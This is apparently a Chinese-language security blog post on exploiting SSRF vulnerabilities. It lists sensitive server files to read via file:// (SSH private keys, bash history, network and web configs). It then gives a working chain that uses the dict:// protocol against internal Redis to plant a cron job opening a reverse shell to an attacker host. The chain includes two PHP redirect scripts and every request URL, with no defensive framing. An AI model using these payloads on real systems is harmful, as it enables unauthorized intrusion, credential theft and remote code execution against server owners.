ssrf之深度利用

ssrf之深度利用

file协议任意文件读取的深度利用

查看版本信息

linux:

/proc/version
/etc/issue
/etc/redhat-release
/proc/cpuinfo

windows:

C:\windows\win.ini

查看网络环境

/etc/hosts
/etc/sysconfig/network-scripts/ifcfg-eth0
/proc/net/arp #Arp缓存信息,可用于枚举局域网存活主机

找绝对路径

/proc/self/cmdline        #查看当前进程路径信息
/proc/sched_debug        #提供cpu上正在运行的进程信息,可以获得进程的pid号
/proc/[PID]/cmdline        #获取路径信息

ssh秘钥信息

/root/.ssh/下的公钥和私钥
/root/.ssh/authorized_keys    #免密钥连接

针对centos 6.5

查看web服务的配置信息
/etc/httpd/conf/httpd.conf
/etc/rc.d/init.d/nginx
/etc/init.d/nginx
/etc/nginx/nginx.conf
/etc/profile    #环境变量
各种日志信息

登录成功的记录

/var/log/wtmp
历史命令
/root/.bash_history    #一般root目录没权限访问
/home/wwwroot/.bash_history

dict协议的深度利用

关于dict协议:

dict://serverip:port/命令:参数
向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利

如果服务端不支持gopher协议,可尝试dict协议,不过通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了。

curl扩展也支持dict协议,可以配合curl命令发送请求,但也可以直接在浏览器上或者bp发包请求。
可通过以下三条命令看是否能利用dict:

/xx.php?url=dict://172.21.0.2:6379/info
/xx.php?url=dict://172.21.0.2:6379/get:user
/xx.php?url=dict://172.21.0.2:6379/flushall

使用dict协议向Redis数据库写shell

攻击成功的前提条件是:redis是以root权限运行的。
redis反弹shell命令:

flushall
set 1 "\n\n\n\n* * * * * /bin/bash -i >& /dev/tcp/公网ip/监听端口 0>&1\n\n\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

s.php

<?php
$ip = $_GET['ip'];            //redis ip
$port = $_GET['port'];        //redis 端口
$bhost = $_GET['bhost'];        //反弹ip
$bport = $_GET['bport'];        //反弹端口
$scheme = $_GET['s'];        //协议
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>

302.php

<?php
$ip = $_GET['ip'];            //redis ip
$port = $_GET['port'];        //redis 端口
$scheme = $_GET['s'];        //协议
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data"); ?>

1.先清除没用的数据,防止定时任务执行失败

/url.php?url=http://xxxx/302.php?s=dict%26ip=172.21.0.2%26port=6379%26data=flushall
/url.php?url=dict://172.21.0.2:6379/flushall

2.利302跳转写入反弹命令

/url.php?url=http://xxxx/s.php?s=dict%26ip=172.21.0.2%26port=6379%26bhost=公网ip%26bport=监听端口
/url.php?url=dict://172.21.0.2:6379/set:1:"\n\n\n\n* * * * * /bin/bash -i >& /dev/tcp/公网ip/监听端口 0>&1\n\n\n\n"

3.设置导出路径

/url.php?url=http://xxxx/302.php?s=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dir:/var/spool/cron/
/url.php?url=dict://172.21.0.2:6379/config:set:dir:/var/spool/cron/

4.设置导出名字

/url.php?url=http://xxxx/302.php?s=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dbfilename:root
/url.php?url=dict://172.21.0.2:6379/config:set:dbfilename:root

5.导出

/url.php?url=http://xxxx/302.php?s=dict%26ip=172.21.0.2%26port=6379%26data=save
/url.php?url=dict://172.21.0.2:6379/save

参考

https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652474855&idx=1&sn=96713e3c479a237bbbd5091a040d3adc&9c6e6fea